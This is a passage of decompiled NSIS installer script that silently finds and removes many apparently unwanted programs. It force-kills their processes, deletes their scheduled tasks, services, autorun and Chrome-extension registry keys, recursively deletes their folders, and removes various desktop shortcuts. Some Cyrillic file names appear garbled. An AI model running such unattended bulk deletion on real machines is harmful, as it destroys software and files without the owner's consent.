DeleteRegKey HKLM SYSTEM\ControlSet001\services\KuaiZipDrive
Delete /REBOOTOK $SYSDIR\drivers\KuaiZipDrive.sys
label_2113:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\KuaiZipDrive.sys 0 label_2121
DeleteRegKey HKLM SYSTEM\ControlSet001\services\KuaiZipDrive
Delete /REBOOTOK $SYSDIR\drivers\KuaiZipDrive.sys
label_2121:
IfFileExists $PROGRAMFILES\ba3du\uc.exe 0 label_2135
nsExec::Exec "cmd /k taskkill /IM uc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM uc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Bind.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Bind.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
RMDir /r /REBOOTOK $PROGRAMFILES\ba3du
label_2135:
IfFileExists $PROGRAMFILES64\Caster\wizzcaster.exe 0 label_2143
nsExec::Exec "cmd /k taskkill /IM wizzcaster.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM wizzcaster.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Caster
RMDir /r /REBOOTOK $PROGRAMFILES64\Caster
label_2143:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jkfblcbjfojmgagikhldeppgmgdpjkpl $0
IfErrors label_2147
DeleteRegKey HKLM Software\Google\Chrome\Extensions\jkfblcbjfojmgagikhldeppgmgdpjkpl
label_2147:
IfFileExists $LOCALAPPDATA\ipro2\ipro2.exe 0 label_2159
nsExec::Exec "cmd /k taskkill /IM ipro2.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ipro2.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ipro2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ipro2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\ipro2
label_2159:
IfFileExists $DESKTOP\WarThunder.lnk 0 label_2161
Delete $DESKTOP\WarThunder.lnk
label_2161:
IfFileExists $DESKTOP\WeatherBug®.lnk 0 label_2163
Delete $DESKTOP\WeatherBug®.lnk
label_2163:
IfFileExists "$PROGRAMFILES64\Earth Networks\WeatherBug\WeatherBug.exe" 0 label_2176
nsExec::Exec "cmd /k taskkill /IM WeatherBug.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WeatherBug.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM CustomActions.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CustomActions.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run WeatherBug
RMDir /r /REBOOTOK "$PROGRAMFILES64\Earth Networks"
label_2176:
IfFileExists $APPDATA\ZU_WarThunder\Uninstaller.exe 0 label_2193
nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder sat$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WarThunder sat$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder sun$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WarThunder sun$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder24$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WarThunder24$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\ZU_WarThunder
label_2193:
IfFileExists $PROGRAMFILES\AudioVideoKit\AVKVideoConverter\AVKVideoConverter.exe 0 label_2205
nsExec::Exec "cmd /k taskkill /IM AVKVideoConverter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AVKVideoConverter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"AVKVideoConverter$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"AVKVideoConverter$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\AudioVideoKit
label_2205:
IfFileExists $LOCALAPPDATA\AVKModules\dvdauthor.exe 0 label_2217
nsExec::Exec "cmd /k taskkill /IM dvdauthor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dvdauthor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ffmpeg.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ffmpeg.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\AVKModules
label_2217:
IfFileExists "$DESKTOP\World of Warships.url" 0 label_2219
Delete "$DESKTOP\World of Warships.url"
label_2219:
IfFileExists $DESKTOP\FusionPlayer.lnk 0 label_2221
Delete $DESKTOP\FusionPlayer.lnk
label_2221:
IfFileExists $PROGRAMFILES\FusionPlayer\FusionPlayer.exe 0 label_2258
nsExec::Exec "cmd /k taskkill /IM FusionPlayer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FusionPlayer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM BrowserBanner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM BrowserBanner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM FusionPlayerUpdater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FusionPlayerUpdater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM FusionPlayerTaskScheduler.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FusionPlayerTaskScheduler.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM FrameworkControl.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FrameworkControl.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"FusionPlayer browser banner$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"FusionPlayer browser banner$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"FusionPlayer Updater$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"FusionPlayer Updater$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\FusionPlayer
label_2258:
IfFileExists $LOCALAPPDATA\FusionPlayer 0 label_2260
RMDir /r /REBOOTOK $LOCALAPPDATA\FusionPlayer
label_2260:
IfFileExists $APPDATA\FastLinkChrome\FastLinkChrome.exe 0 label_2272
nsExec::Exec "cmd /k taskkill /IM FastLinkChrome.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FastLinkChrome.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"FastLinkChrome$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"FastLinkChrome$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\FastLinkChrome
label_2272:
IfFileExists $DESKTOP\StarColony.url 0 label_2274
Delete $DESKTOP\StarColony.url
label_2274:
IfFileExists "$DESKTOP\AVK Video Converter - Êîíâåðòàöèÿ âèäåî áåñïëàòíî.url" 0 label_2276
Delete "$DESKTOP\AVK Video Converter - Êîíâåðòàöèÿ âèäåî áåñïëàòíî.url"
label_2276:
IfFileExists $APPDATA\PushControl 0 label_2299
nsExec::Exec "cmd /k taskkill /IM PushControl.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PushControl.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"PushControl$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PushControl$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PushControl
RMDir /r /REBOOTOK $APPDATA\PushControl
label_2299:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\lgdnilodcpljomelbbnpgdogdbmclbni $0
IfErrors label_2303
DeleteRegKey HKLM Software\Google\Chrome\Extensions\lgdnilodcpljomelbbnpgdogdbmclbni
label_2303:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\cpegcopcfajiiibidlaelhjjblpefbjk $0
IfErrors label_2307
DeleteRegKey HKLM Software\Google\Chrome\Extensions\cpegcopcfajiiibidlaelhjjblpefbjk
label_2307:
IfFileExists $LOCALAPPDATA\AdsBlokator\launcher.exe 0 label_2320
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdsBlokator
RMDir /r /REBOOTOK $LOCALAPPDATA\AdsBlokator
label_2320:
IfFileExists $APPDATA\ScreenChromeShot\ScreenChromeShot.exe 0 label_2332
nsExec::Exec "cmd /k taskkill /IM ScreenChromeShot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ScreenChromeShot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ScreenChromeShot$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ScreenChromeShot$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\ScreenChromeShot
label_2332:
IfFileExists $APPDATA\AdBlockerator\AdBlockerator.exe 0 label_2344
nsExec::Exec "cmd /k taskkill /IM AdBlockerator.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AdBlockerator.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"AdBlockerator$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"AdBlockerator$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\AdBlockerator
label_2344:
IfFileExists "$PROGRAMFILES\maintenance software\comowin.exe" 0 label_2357
nsExec::Exec "cmd /k taskkill /IM comowin.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM comowin.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"maintenance service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"maintenance service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run comowin
RMDir /r /REBOOTOK "$PROGRAMFILES\maintenance software"
label_2357:
IfFileExists "$DESKTOP\World of Books - Áåñïëàòíûé Ìèð Êíèã.url" 0 label_2359
Delete "$DESKTOP\World of Books - Áåñïëàòíûé Ìèð Êíèã.url"
label_2359:
IfFileExists $LOCALAPPDATA\DailyWiki 0 label_2361
RMDir /r /REBOOTOK $LOCALAPPDATA\DailyWiki
label_2361:
IfFileExists $APPDATA\DailyWiki\DailyWiki.exe 0 label_2369
nsExec::Exec "cmd /k taskkill /IM DailyWiki.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DailyWiki.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run DailyWiki
RMDir /r /REBOOTOK $APPDATA\DailyWiki
label_2369:
IfFileExists $LOCALAPPDATA\PushControl\launcher.exe 0 label_2382
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PushControl
RMDir /r /REBOOTOK $LOCALAPPDATA\PushControl
label_2382:
IfFileExists $DESKTOP\EasyHotspot.lnk 0 label_2384
Delete $DESKTOP\EasyHotspot.lnk
label_2384:
IfFileExists $PROGRAMFILES\EasyHotspot\EasyHotspot.exe 0 label_2404
nsExec::Exec "cmd /k taskkill /IM EasyHotspot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM EasyHotspot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM idsccom_XVI.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM idsccom_XVI.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM idscservice.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM idscservice.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce IDSCPRODUCT
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run EasyHotspot
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run IDSCCOMXVI
RMDir /r /REBOOTOK $PROGRAMFILES\EasyHotspot
label_2404:
IfFileExists $APPDATA\BetterViewer\BetterViewer.exe 0 label_2416
nsExec::Exec "cmd /k taskkill /IM BetterViewer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM BetterViewer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"BetterViewer$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"BetterViewer$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\BetterViewer
label_2416:
IfFileExists $LOCALAPPDATA\PPTAssist\notify.exe 0 label_2438
nsExec::Exec "cmd /k taskkill /IM notify.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM notify.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM assistupdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM assistupdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"PPTAssistantNotifyTask$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PPTAssistantNotifyTask$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"PPTAssistantUpdateTask$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PPTAssistantUpdateTask$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\PPTAssist
label_2438:
IfFileExists $APPDATA\pptassist 0 label_2440
RMDir /r /REBOOTOK $APPDATA\pptassist
label_2440:
IfFileExists $DESKTOP\Ñïàðòà.url 0 label_2442
Delete $DESKTOP\Ñïàðòà.url
label_2442:
IfFileExists $PROGRAMFILES\hohobn* 0 label_2457
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\hohobn*
label_2445:
StrCmp $R1 "" label_2456
IfFileExists $PROGRAMFILES\$R1 0 label_2454
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R1
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_2454:
FindNext $0 $R1
Goto label_2445
label_2456:
FindClose $0
label_2457:
ClearErrors
ReadRegStr $2 HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Uninstall - imm" DisplayIcon
IfErrors label_2471
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_2471
RMDir /r /REBOOTOK $2
label_2471:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ipjjmoaaiokdonnldckdhmhojapklmdi $0
IfErrors label_2475
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ipjjmoaaiokdonnldckdhmhojapklmdi
label_2475:
IfFileExists $PROGRAMFILES\ttwifi\tiantianwifi.exe 0 label_2487
nsExec::Exec "cmd /k taskkill /IM tiantianwifi.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM tiantianwifi.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ttwifi$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ttwifi$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\ttwifi
label_2487:
IfFileExists "$DESKTOP\Royal Quest.url" 0 label_2489
Delete "$DESKTOP\Royal Quest.url"
label_2489:
IfFileExists "$DESKTOP\Êîíôëèêò. Èñêóññòâî Âîéíû.url" 0 label_2491
Delete "$DESKTOP\Êîíôëèêò. Èñêóññòâî Âîéíû.url"
label_2491:
IfFileExists $PROGRAMFILES\WinSvces\WinSvces\WinSvces.exe 0 label_2499
nsExec::Exec "cmd /k taskkill /IM WinSvces.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WinSvces.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WinSvces
RMDir /r /REBOOTOK $PROGRAMFILES\WinSvces
label_2499:
IfFileExists $PROGRAMFILES\WinTsks\WinTsks\WinTsks.exe 0 label_2511
nsExec::Exec "cmd /k taskkill /IM WinTsks.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WinTsks.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"WinTsks$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WinTsks$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\WinTsks
label_2511:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\BugreportW ImagePath
IfErrors label_2526
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_2526
DeleteRegKey HKLM SYSTEM\ControlSet001\services\BugreportW
RMDir /r /REBOOTOK $2
label_2526:
IfFileExists "$DESKTOP\Âîéíû ïðåñòîëîâ.url" 0 label_2528
Delete "$DESKTOP\Âîéíû ïðåñòîëîâ.url"
label_2528:
IfFileExists "$DESKTOP\World of Tanks.url" 0 label_2530
Delete "$DESKTOP\World of Tanks.url"
label_2530:
IfFileExists "$DESKTOP\War Thunder.url" 0 label_2532
Delete "$DESKTOP\War Thunder.url"
label_2532:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\SuperProServer ImagePath
IfErrors label_2547
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_2547
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SuperProServer
Delete /REBOOTOK $2
label_2547:
IfFileExists $PROGRAMFILES\badu 0 label_2563
nsExec::Exec "cmd /k taskkill /IM uc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM uc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM sys.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM sys.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide2
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run app
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
RMDir /r /REBOOTOK $PROGRAMFILES\badu
label_2563:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ijepgjdjkdbopbnaopmlmobimmhjklhd $0
IfErrors label_2567
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ijepgjdjkdbopbnaopmlmobimmhjklhd
label_2567:
IfFileExists $DESKTOP\Facebook.lnk 0 label_2569
Delete $DESKTOP\Facebook.lnk
label_2569:
IfFileExists $APPDATA\svrupg.exe 0 label_2577
nsExec::Exec "cmd /k taskkill /IM svrupg.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM svrupg.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpSvc
Delete /REBOOTOK $APPDATA\svrupg.exe
label_2577:
SetShellVarContext all
IfFileExists $APPDATA\xifs\xifs.exe 0 label_2601
nsExec::Exec "cmd /k taskkill /IM xifs.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM xifs.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Donsoft.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Donsoft.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MedTip.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MedTip.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Zaam-Top.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Zaam-Top.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\xifs
RMDir /r /REBOOTOK $APPDATA\xifs
label_2601:
IfFileExists $DESKTOP\simpliclean.lnk 0 label_2603
Delete $DESKTOP\simpliclean.lnk
label_2603:
IfFileExists "$DESKTOP\Îïòèìèçàöèÿ îäíèì ùåë÷êîì.lnk" 0 label_2605
Delete "$DESKTOP\Îïòèìèçàöèÿ îäíèì ùåë÷êîì.lnk"
label_2605:
IfFileExists "$DESKTOP\Launch One System Care.lnk" 0 label_2607
Delete "$DESKTOP\Launch One System Care.lnk"
label_2607:
IfFileExists "$DESKTOP\Driver Booster 3.lnk" 0 label_2609
Delete "$DESKTOP\Driver Booster 3.lnk"
label_2609:
IfFileExists "$DESKTOP\PC Clean Plus.lnk" 0 label_2611
Delete "$DESKTOP\PC Clean Plus.lnk"
label_2611:
IfFileExists $DESKTOP\Tv-Plug-In.lnk 0 label_2613
Delete $DESKTOP\Tv-Plug-In.lnk
label_2613:
IfFileExists $APPDATA\Quoteex\Quoteex.exe 0 label_2631
nsExec::Exec "cmd /k taskkill /IM Quoteex.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Quoteex.exe /f"
